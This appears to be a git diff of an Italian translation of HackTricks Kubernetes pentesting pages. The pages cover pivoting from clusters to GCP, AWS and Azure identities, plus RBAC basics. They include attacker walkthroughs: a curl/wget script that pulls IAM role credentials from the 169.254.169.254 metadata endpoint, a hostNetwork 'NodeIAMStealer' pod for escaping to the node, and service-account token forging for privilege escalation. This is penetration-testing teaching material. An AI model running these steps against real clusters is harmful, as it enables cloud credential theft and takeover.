visualizzatore di traffico API **semplice ma potente per Kubernetes** che ti consente di **visualizzare tutta la comunicazione API** tra microservizi per aiutarti a debug e risolvere regressioni.\ -Installerà agenti nei pod selezionati e raccoglierà le loro informazioni sul traffico, mostrandole in un server web. Tuttavia, avrai bisogno di elevate autorizzazioni K8s per questo (e non è molto furtivo). +Lo strumento [**Mizu**](https://github.com/up9inc/mizu) è un semplice ma potente API **traffic viewer for Kubernetes** che ti permette di **vedere tutta la comunicazione API** tra microservices per aiutarti a debuggare e risolvere regressions.\ +Installerà agents nei pod selezionati e raccoglierà le loro informazioni di traffic e te le mostrerà in un web server. Tuttavia, per questo ti serviranno high K8s permissions (e non è molto stealthy). -## Riferimenti +## References - [https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1](https://www.cyberark.com/resources/threat-research-blog/attacking-kubernetes-clusters-through-your-network-plumbing-part-1) - [https://blog.aquasec.com/dns-spoofing-kubernetes-clusters](https://blog.aquasec.com/dns-spoofing-kubernetes-clusters) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md index 985d7feb5..467de98a4 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md @@ -4,62 +4,62 @@ ## GCP -Se stai eseguendo un cluster k8s all'interno di GCP probabilmente vorrai che qualche applicazione in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo: +Se stai eseguendo un cluster k8s dentro GCP, probabilmente vorrai che qualche application in esecuzione nel cluster abbia accesso a GCP. Ci sono 2 modi comuni per farlo: ### Mounting GCP-SA keys as secret -A common way to give **access to a kubernetes application to GCP** is to: +Un modo comune per dare **accesso a una kubernetes application a GCP** è: -- Crea una GCP Service Account -- Associa ad essa i permessi desiderati -- Scarica una chiave json della SA creata -- Montala come secret all'interno del pod -- Imposta la variabile d'ambiente GOOGLE_APPLICATION_CREDENTIALS puntando al percorso dove si trova il json. +- Create a GCP Service Account +- Bind on it the desired permissions +- Download a json key of the created SA +- Mount it as a secret inside the pod +- Set the GOOGLE_APPLICATION_CREDENTIALS environment variable pointing to the path where the json is. > [!WARNING] -> Pertanto, come **attacker**, se comprometti un container all'interno di un pod, dovresti controllare quella **env** **variable** e i **json** **files** con le credenziali GCP. +> Therefore, as an **attacker**, if you compromise a container inside a pod, you should check for that **env** **variable** and **json** **files** with GCP credentials. ### Relating GSA json to KSA secret -Un modo per fornire accesso a una GSA a un GKE cluster è legarli in questo modo: +Un modo per dare accesso a una GSA a un GKE cluser è bindarli in questo modo: -- Crea una Kubernetes service account nello stesso namespace del tuo GKE cluster usando il seguente comando: +- Create a Kubernetes service account in the same namespace as your GKE cluster using the following command: ```bash kubectl create serviceaccount ``` -- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere l'accesso al cluster GKE. Puoi farlo usando lo strumento da riga di comando `gcloud`, come mostrato nell'esempio seguente: +- Crea un Kubernetes Secret che contenga le credenziali dell'account di servizio GCP a cui vuoi concedere accesso al cluster GKE. Puoi farlo usando il tool da riga di comando `gcloud`, come mostrato nel seguente esempio: ```bash gcloud iam service-accounts keys create .json \ --iam-account kubectl create secret generic \ --from-file=key.json=.json ``` -- Associa il Kubernetes Secret al Kubernetes service account usando il seguente comando: +- Associa il Kubernetes Secret al service account di Kubernetes usando il seguente comando: ```bash kubectl annotate serviceaccount \ iam.gke.io/gcp-service-account= ``` > [!WARNING] -> Nel **secondo passaggio** sono state impostate le **credenziali della GSA come secret della KSA**. Quindi, se puoi **leggere quel secret** dall'**interno** del **cluster GKE**, puoi **escalate to that GCP service account**. +> Nel **secondo passo** sono state impostate le **credentials della GSA come secret della KSA**. Quindi, se puoi **leggere quel secret** dall'**interno** del cluster **GKE**, puoi **escalare a quel GCP service account**. ### GKE Workload Identity -Con Workload Identity, possiamo configurare una[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come una[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I Pods che girano con la Kubernetes service account si autenticheranno automaticamente come la Google service account quando accederanno alle Google Cloud APIs. +Con Workload Identity, possiamo configurare un[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) per agire come un[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). I Pods in esecuzione con il Kubernetes service account si autenticheranno automaticamente come il Google service account quando accedono alle Google Cloud APIs. -La **prima serie di passaggi** per abilitare questo comportamento è **abilitare Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare il GCP SA che vuoi che k8s impersoni. +La **prima serie di passi** per abilitare questo comportamento è **abilitare Workload Identity in GCP** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) e creare la GCP SA che vuoi che k8s impersoni. -- **Abilitare Workload Identity** su un nuovo cluster +- **Abilita Workload Identity** su un nuovo cluster ```bash gcloud container clusters update \ --region=us-central1 \ --workload-pool=.svc.id.goog ``` -- **Crea/Aggiorna un nuovo nodepool** (I cluster Autopilot non ne hanno bisogno) +- **Crea/Aggiorna un nuovo nodepool** (i cluster Autopilot non ne hanno bisogno) ```bash # You could update instead of create gcloud container node-pools create --cluster= --workload-metadata=GKE_METADATA --region=us-central1 ``` -- Crea la **GCP Service Account da impersonare** da K8s con permessi GCP: +- Crea il **GCP Service Account da impersonare** da K8s con permessi GCP: ```bash # Create SA called "gsa2ksa" gcloud iam service-accounts create gsa2ksa --project= @@ -69,7 +69,7 @@ gcloud projects add-iam-policy-binding \ --member "serviceAccount:gsa2ksa@.iam.gserviceaccount.com" \ --role "roles/iam.securityReviewer" ``` -- **Connettiti** al **cluster** e **crea** il **service account** da usare +- **Connetti** al **cluster** e **crea** il **service account** da usare ```bash # Get k8s creds gcloud container clusters get-credentials --region=us-central1 @@ -80,7 +80,7 @@ kubectl create namespace testing # Create the KSA kubectl create serviceaccount ksa2gcp -n testing ``` -- **Associare la GSA alla KSA** +- **Bind il GSA con il KSA** ```bash # Allow the KSA to access the GSA in GCP IAM gcloud iam service-accounts add-iam-policy-binding gsa2ksa@ [!WARNING] -> Come attaccante dentro K8s dovresti **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che il SA può accedere a qualcosa in GCP. Un'altra opzione è provare ad abusare ogni KSA nel cluster e verificare se ha accesso.\ -> Da GCP è sempre interessante enumerare i binding e sapere **quali accessi stai concedendo agli SAs dentro Kubernetes**. +> As an attacker inside K8s you should **cercare SAs** con l'**annotazione `iam.gke.io/gcp-service-account`** poiché indica che la SA può accedere a qualcosa in GCP. Un'altra opzione sarebbe provare ad abusare di ogni KSA nel cluster e verificare se ha accesso.\ +> Da GCP è sempre interessante enumerare i binding e sapere **quale accesso stai dando alle SAs all'interno di Kubernetes**. -Questo è uno script per **iterare facilmente sulle definizioni di tutti i pods** cercando quell'**annotazione**: +Questo è uno script per **iterare facilmente su tutte le definizioni dei pod** **cercando** quell'**annotazione**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Un modo (obsoleto) per assegnare IAM Roles ai Pods è usare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Fondamentalmente dovrai eseguire un **daemonset** nel tuo cluster con una **sorta di IAM role privilegiato**. Questo daemonset sarà quello che fornirà l'accesso ai ruoli IAM ai Pods che ne hanno bisogno. +Un modo (obsoleto) per dare IAM Roles ai Pods è usare un [**Kiam**](https://github.com/uswitch/kiam) o un [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** In pratica dovrai eseguire un **daemonset** nel tuo cluster con un **tipo di privilegiato IAM role**. Questo daemonset sarà quello che darà accesso ai IAM roles ai pods che ne hanno bisogno. -Prima di tutto devi configurare **quali ruoli possono essere accessibili all'interno del namespace**, e lo fai con un'annotazione all'interno dell'oggetto namespace: +Per prima cosa devi configurare **quali roles possono essere acceduti all'interno del namespace**, e lo fai con un annotation dentro l'oggetto namespace: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Una volta che il namespace è configurato con i ruoli IAM che i Pods possono avere, puoi **indicare il ruolo che desideri in ogni definizione di pod con qualcosa del genere**: +Una volta configurato il namespace con i ruoli IAM che i Pod possono avere, puoi **indicare il ruolo che vuoi in ogni definizione del pod con qualcosa come**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Come attaccante, se **trovi queste annotazioni** in pods o namespaces o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni ruolo** che è già **usato dai pods** e altro (se hai accesso all'account AWS, elenca i ruoli). +> Come attacker, se **trovi queste annotation** in pod o namespace o un server kiam/kube2iam in esecuzione (probabilmente in kube-system) puoi **impersonare ogni r**olo che è già **usato dai pod** e altro (se hai accesso all'account AWS enumera i ruoli). -#### Creare un Pod con IAM Role +#### Create Pod with IAM Role > [!NOTE] -> Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve essere in grado di accedervi. +> Il ruolo IAM da indicare deve essere nello stesso account AWS del ruolo kiam/kube2iam e quel ruolo deve poter accedervi. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role per K8s Service Accounts via OIDC +### IAM Role for K8s Service Accounts via OIDC -Questo è il modo raccomandato da AWS. +Questo è il **modo raccomandato da AWS**. -1. Prima di tutto devi [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). +1. Per prima cosa devi [creare un provider OIDC per il cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). 2. Poi crei un IAM role con i permessi di cui la SA avrà bisogno. -3. Crea una [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (o i namespace, consentendo l'accesso al ruolo a tutte le SA del namespace). _La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA_. -4. Infine, **crea una SA con un'annotazione che indica l'ARN del role**, e i pods che girano con quella SA avranno **accesso al token del role**. Il **token** è **scritto** all'interno di un file e il percorso è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +3. Crea una [trust relationship tra il IAM role e il nome della SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (o i namespaces che danno accesso al role a tutte le SA del namespace). _La trust relationship controllerà principalmente il nome del provider OIDC, il nome del namespace e il nome della SA_. +4. Infine, **crea una SA con un annotation che indica l'ARN del role**, e i pods che girano con quella SA avranno **accesso al token del role**. Il **token** viene **scritto** dentro un file e il path è specificato in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Come attaccante, se riesci a enumerare un cluster K8s, controlla la presenza di **service accounts with that annotation** per **escalate to AWS**. Per farlo, basta **exec/create** un **pod** usando uno degli IAM **privileged service accounts** e rubare il token. +> Come attacker, se riesci a enumerare un cluster K8s, controlla gli **service accounts con quella annotation** per **escalare ad AWS**. Per farlo, basta **exec/create** un **pod** usando uno dei IAM **privileged service accounts** e rubare il token. > -> Inoltre, se sei dentro un pod, controlla le env variables come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.** +> Inoltre, se sei dentro un pod, controlla variabili di env come **AWS_ROLE_ARN** e **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> A volte la **Turst Policy of a role** potrebbe essere **bad configured** e, invece di concedere l'accesso AssumeRole al service account previsto, lo concede a **all the service accounts**. Pertanto, se sei in grado di scrivere un'annotation su un controlled service account, puoi accedere al role. +> A volte la **Turst Policy di un role** può essere **configurata male** e invece di dare accesso AssumeRole al service account previsto, lo dà a **tutti gli service accounts**. Quindi, se sei in grado di scrivere una annotation su un controlled service account, puoi accedere al role. > -> Consulta la **pagina seguente per maggiori informazioni**: +> Controlla la **pagina seguente per maggiori informazioni**: {{#ref}} ../aws-security/aws-basic-information/aws-federation-abuse.md @@ -236,7 +236,7 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ ### Trova Pods e SAs con IAM Roles nel Cluster -Questo è uno script per iterare facilmente sulle definizioni di **pods** e **SAs** cercando quell'**annotation**: +Questo è uno script per **iterare facilmente su tutti i pods e le definizioni di sas** **cercando** quella **annotation**: ```bash for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -253,26 +253,28 @@ echo "" done done | grep -B 1 "amazonaws.com" ``` -### Node IAM Role a cluster-admin +### Node IAM Role to cluster-admin -La sezione precedente spiegava come rubare IAM role con i pod, ma tieni presente che un **Node del** cluster K8s sarà un'**istanza all'interno del cloud**. Questo significa che il Node è molto probabile che **abbia un IAM role che puoi rubare** (_nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node_). +La sezione precedente riguardava come rubare IAM Roles con i pod, ma nota che un **Node del** cluster K8s sarà un'**istanza dentro il cloud**. Questo significa che il Node molto probabilmente **avrà un IAM role che puoi rubare** (_nota che di solito tutti i node di un cluster K8s avranno lo stesso IAM role, quindi potrebbe non valere la pena provare a controllare ogni node_). -Per accedere al metadata endpoint del node devi: -- Essere in un pod e avere il metadata endpoint configurato ad almeno 2 tcp hops. Questa è la misconfiguration più comune poiché di solito diversi pod nel cluster richiedono accesso al metadata endpoint per non interrompersi e molte aziende decidono semplicemente di permettere l'accesso al metadata endpoint da tutti i pod del cluster. +Per accedere al node metadata endpoint devi: +- Essere in un pod e avere il metadata endpoint configurato con almeno 2 tcp hops. Questa è la misconfigurazione più comune, perché di solito pod diversi nel cluster avranno bisogno di accedere al metadata endpoint per non rompersi e diverse aziende decidono semplicemente di permettere l'accesso al metadata endpoint da tutti i pod nel cluster. - Essere in un pod con `hostNetwork` abilitato. -- Fare escape al Node e accedere direttamente al metadata endpoint. +- Escape verso il node e accedere direttamente al metadata endpoint. -(Nota che il metadata endpoint è a 169.254.169.254 come sempre). +(Nota che il metadata endpoint è sempre a 169.254.169.254). -Per **escape to the node** puoi usare il seguente comando per eseguire un pod con `hostNetwork` abilitato: +In ambienti EKS più recenti, verifica il node e la modalità del cluster prima di assumere che i pod possano raggiungere il node instance profile. Le Amazon Linux 2023 EKS optimized AMIs impostano di default l'IMDS hop limit a 1, e EKS Auto Mode abilita `disablePodIMDS` di default, quindi i pod normali non dovrebbero ricevere node-role credentials a meno che l'operatore non abbia cambiato queste impostazioni o il pod abbia un altro percorso a livello di node come `hostNetwork` o un compromise del node. Il pattern raccomandato è bloccare l'accesso dei pod all'IMDS del node e usare IRSA o EKS Pod Identity per i permessi AWS del workload. + +Per **escape verso il node** puoi usare il seguente comando per eseguire un pod con `hostNetwork` abilitato: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` -### Steal IAM Role Token +### Rubare il token dell'IAM Role -In precedenza abbiamo discusso come **attach IAM Roles to Pods** o anche come **escape to the Node to steal the IAM Role** che è stato assegnato all'istanza. +In precedenza abbiamo discusso di come **attaccare IAM Roles ai Pod** o persino di come **evadere nel Node per rubare l'IAM Role** che l'istanza ha associato. -Puoi usare lo script seguente per **steal** le tue nuove duramente ottenute **IAM role credentials**: +Puoi usare il seguente script per **rubare** le tue nuove, sudate **credenziali dell'IAM role**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -285,21 +287,66 @@ fi ``` ### Privesc to cluster-admin -In sintesi: se è possibile **accedere all'EKS Node IAM role** da un pod, è possibile **compromettere l'intero kubernetes cluster**. +In sintesi: se è possibile **accedere all'EKS Node IAM role** da un pod, è possibile **compromettere l'intero cluster kubernetes**. -Per maggiori informazioni consulta [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Come riassunto, il ruolo IAM EKS predefinito assegnato ai nodi EKS è `system:node` all'interno del cluster. Questo ruolo è molto interessante, sebbene sia limitato dalle [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) di kubernetes. +Per maggiori informazioni controlla [questo post](https://blog.calif.io/p/privilege-escalation-in-eks). In sintesi, il default IAM EKS role assegnato di default ai nodi EKS è assegnato al ruolo `system:node` dentro il cluster. Questo ruolo è molto interessante anche se è limitato dalle kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). -Tuttavia, il nodo può sempre **generate tokens for service accounts** che girano in pod all'interno del nodo. Quindi, se il nodo esegue un pod con un service account privilegiato, il nodo può generare un token per quel service account e usarlo per impersonare il service account come in: +Tuttavia, il node può sempre **generare tokens per service accounts** in esecuzione nei pod dentro il node. Quindi, se il node sta eseguendo un pod con un privileged service account, il node può generare un token per quel service account e usarlo per impersonare il service account come in: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ --bound-object-name=pod-priv \ --bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d ``` -## Riferimenti +## Azure / AKS + +In AKS, mantieni separate tre path di identità durante l’assessment: + +- **Azure to Kubernetes**: i principal Azure possono recuperare kubeconfig user o admin tramite Azure Resource Manager se il loro ruolo Azure RBAC lo consente. I kubeconfig admin locali di `az aks get-credentials --admin` sono credenziali basate su certificati e possono bypassare la normale governance di Microsoft Entra user/group a meno che gli account locali non siano disabilitati. +- **Microsoft Entra to Kubernetes**: i cluster integrati con Entra autenticano user, group o service principal tramite `kubelogin`/exec kubeconfig. L’azione finale in Kubernetes può essere autorizzata dal nativo Kubernetes RBAC o da Azure RBAC per Kubernetes Authorization. +- **Kubernetes to Azure**: i pod dovrebbero normalmente usare Microsoft Entra Workload ID, che scambia i projected Kubernetes service account token con Entra tramite l’AKS OIDC issuer e i federated identity credentials. + +Useful AKS identity checks from Azure: +```bash +az aks show -g -n \ +--query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ +-o yaml + +AKS_ID=$(az aks show -g -n --query id -o tsv) +az role assignment list --scope "$AKS_ID" --include-inherited -o table +az role assignment list --scope "$AKS_ID/namespaces/" -o table +``` +Da Kubernetes, cerca segnali di AKS Workload ID: +```bash +kubectl get serviceaccounts -A -o yaml | grep -n 'azure.workload.identity' -B 6 -A 8 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use' -B 8 -A 8 +``` +I campi Workload ID rilevanti sono di solito: +```yaml +metadata: +annotations: +azure.workload.identity/client-id: "" +azure.workload.identity/tenant-id: "" +--- +metadata: +labels: +azure.workload.identity/use: "true" +``` +Se il cluster usa ancora il modello deprecato Microsoft Entra pod-managed identity, cerca i vecchi CRD e i componenti NMI/MIC invece delle annotazioni Workload ID: +```bash +kubectl get crd | grep -i azureidentity +kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null +kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' +``` +I nodi AKS sono istanze di Azure VM scale set, quindi l’accesso a livello di node o host può esporre Azure Instance Metadata Service su `169.254.169.254`. Non dare per scontato che un pod ordinario debba ricevere le credenziali dell’managed identity del node: verifica prima le impostazioni di workload identity, il comportamento legacy di pod identity/NMI, l’uso di hostNetwork, i controlli di network e l’accesso al node. Se una node identity ha ampie autorizzazioni Azure, la compromissione del node può diventare un Azure pivot anche quando la Workload ID dell’application è configurata correttamente. + +## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) +- [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index 9e85ecfa2..799b55f0f 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,23 +4,23 @@ ## Role-Based Access Control (RBAC) -Kubernetes ha un **authorization module** chiamato Role-Based Access Control ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) che aiuta a impostare i permessi di utilizzo per l'API server. +Kubernetes ha un **modulo di autorizzazione chiamato Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)) che aiuta a impostare i permessi di utilizzo per l'API server. -Il modello di permessi di RBAC è costruito da **tre parti separate**: +Il modello di permessi di RBAC è costruito da **tre parti distinte**: -1. **Role\ClusterRole –** Il permesso effettivo. Contiene _**rules**_ che rappresentano un insieme di permessi. Ogni rule contiene [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) e [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Il verb è l'azione che verrà applicata alla resource. +1. **Role\ClusterRole ­–** Il permesso effettivo. Contiene _**rules**_ che rappresentano un insieme di permessi. Ogni rule contiene [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) e [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Il verb è l'azione che verrà applicata alla resource. 2. **Subject (User, Group or ServiceAccount) –** L'oggetto che riceverà i permessi. 3. **RoleBinding\ClusterRoleBinding –** La connessione tra Role\ClusterRole e il subject. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -La differenza tra “**Roles**” e “**ClusterRoles**” è solo dove il role verrà applicato – un “**Role**” concederà accesso a un solo **specifico** **namespace**, mentre un “**ClusterRole**” può essere usato in **tutti i namespaces** nel cluster. Inoltre, i **ClusterRoles** possono anche concedere accesso a: +La differenza tra “**Roles**” e “**ClusterRoles**” è solo dove il role verrà applicato – un “**Role**” concederà accesso solo a **un** **namespace** **specifico**, mentre un “**ClusterRole**” può essere usato in **tutti i namespace** del cluster. Inoltre, i **ClusterRoles** possono anche concedere accesso a: -- resources **cluster-scoped** (come nodes). +- resource **cluster-scoped** (come i nodes). - endpoint **non-resource** (come /healthz). -- resources namespaced (come Pods), **attraverso tutti i namespaces**. +- resource namespaced (come Pods), **in tutti i namespace**. -Da **Kubernetes** 1.6 in poi, le policy **RBAC** sono **abilitate di default**. Ma per abilitare RBAC puoi usare qualcosa come: +Da **Kubernetes** 1.6 in poi, le policy **RBAC** sono **abilitate per default**. Ma per abilitare RBAC puoi usare qualcosa come: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` @@ -28,33 +28,33 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options Nel template di un **Role** o di un **ClusterRole** dovrai indicare il **nome del role**, il **namespace** (nei roles) e poi i **apiGroups**, **resources** e **verbs** del role: -- Gli **apiGroups** sono un array che contiene i diversi **API namespaces** a cui questa regola si applica. Per esempio, una definizione Pod usa apiVersion: v1. _Può avere valori come rbac.authorization.k8s.io o \[\*]_. -- Le **resources** sono un array che definisce **a quali resources si applica questa regola**. Puoi trovare tutte le resources con: `kubectl api-resources --namespaced=true` -- I **verbs** sono un array che contiene i **verbs consentiti**. Il verb in Kubernetes definisce il **tipo di azione** che devi applicare alla resource. Per esempio, il verb list viene usato contro le collection mentre "get" viene usato contro una singola resource. +- I **apiGroups** sono un array che contiene i diversi **API namespaces** a cui si applica questa regola. Per esempio, una definizione Pod usa apiVersion: v1. _Può avere valori come rbac.authorization.k8s.io o \[\*]_. +- I **resources** sono un array che definisce **a quali resources si applica questa regola**. Puoi trovare tutte le resources con: `kubectl api-resources --namespaced=true` +- I **verbs** sono un array che contiene i **verbs consentiti**. Il verb in Kubernetes definisce il **tipo di azione** che devi applicare alla resource. Per esempio, il verb list si usa sulle collections, mentre "get" si usa su una singola resource. ### Rules Verbs -(_Questa info è stata presa da_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) +(_Queste info sono state prese da_ [_**the docs**_](https://kubernetes.io/docs/reference/access-authn-authz/authorization/index.html#determine-the-request-verb)) | HTTP verb | request verb | | --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- | | POST | create | -| GET, HEAD | get (per singole resources), list (per collection, incluso il contenuto completo dell'oggetto), watch (per osservare una singola resource o una collection di resources) | +| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) | | PUT | update | | PATCH | patch | -| DELETE | delete (per singole resources), deletecollection (per collection) | +| DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes a volte controlla l'autorizzazione per permessi aggiuntivi usando verbs specializzati. Per esempio: +Kubernetes a volte controlla l'autorizzazione per permessi aggiuntivi usando specialized verbs. Per esempio: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) - verb `use` su resources `podsecuritypolicies` nel API group `policy`. - [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) - verbs `bind` ed `escalate` su resources `roles` e `clusterroles` nel API group `rbac.authorization.k8s.io`. - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) -- verb `impersonate` su `users`, `groups` e `serviceaccounts` nel core API group, e i `userextras` nel API group `authentication.k8s.io`. +- verb `impersonate` su `users`, `groups` e `serviceaccounts` nel core API group, e `userextras` nel API group `authentication.k8s.io`. > [!WARNING] -> Puoi trovare **tutti i verbs supportati da ciascuna resource** eseguendo `kubectl api-resources --sort-by name -o wide` +> Puoi trovare **tutti i verbs che ogni resource supporta** eseguendo `kubectl api-resources --sort-by name -o wide` ### Examples ```yaml:Role @@ -84,11 +84,11 @@ Per esempio puoi usare un **ClusterRole** per consentire a un particolare utente ``` kubectl get pods --all-namespaces ``` -### **RoleBinding and ClusterRoleBinding** +### **RoleBinding e ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding concede le permissions definite in un role a un user o a un insieme di users**. Contiene una lista di subjects (users, groups, o service accounts) e un riferimento al role che viene concesso. Un **RoleBinding** concede permissions all'interno di uno specifico **namespace**, mentre un **ClusterRoleBinding** concede quell'accesso **cluster-wide**. +[**Dalla documentazione:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) Un **role binding concede le autorizzazioni definite in un role a un utente o a un insieme di utenti**. Contiene un elenco di subjects (users, groups, o service accounts) e un riferimento al role che viene concesso. Un **RoleBinding** concede autorizzazioni all'interno di uno specifico **namespace**, mentre un **ClusterRoleBinding** concede quell'accesso **cluster-wide**. ```yaml:RoleBinding -piVersion: rbac.authorization.k8s.io/v1 +apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. # You need to already have a Role named "pod-reader" in that namespace. kind: RoleBinding @@ -124,7 +124,31 @@ apiGroup: rbac.authorization.k8s.io ``` **I permessi sono additivi** quindi se hai un clusterRole con “list” e “delete” secrets puoi aggiungerlo con un Role con “get”. Quindi fai attenzione e testa sempre i tuoi roles e permissions e **specifica cosa è CONSENTITO, perché tutto è NEGATO per default.** -## **Enumerating RBAC** +### Dettagli da controllare + +RBAC usa i nomi delle risorse come appaiono negli URL API, non il YAML `kind`. Un Pod è `pods`, un Deployment è `deployments`, e i subresources sono scritti con una slash come `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, 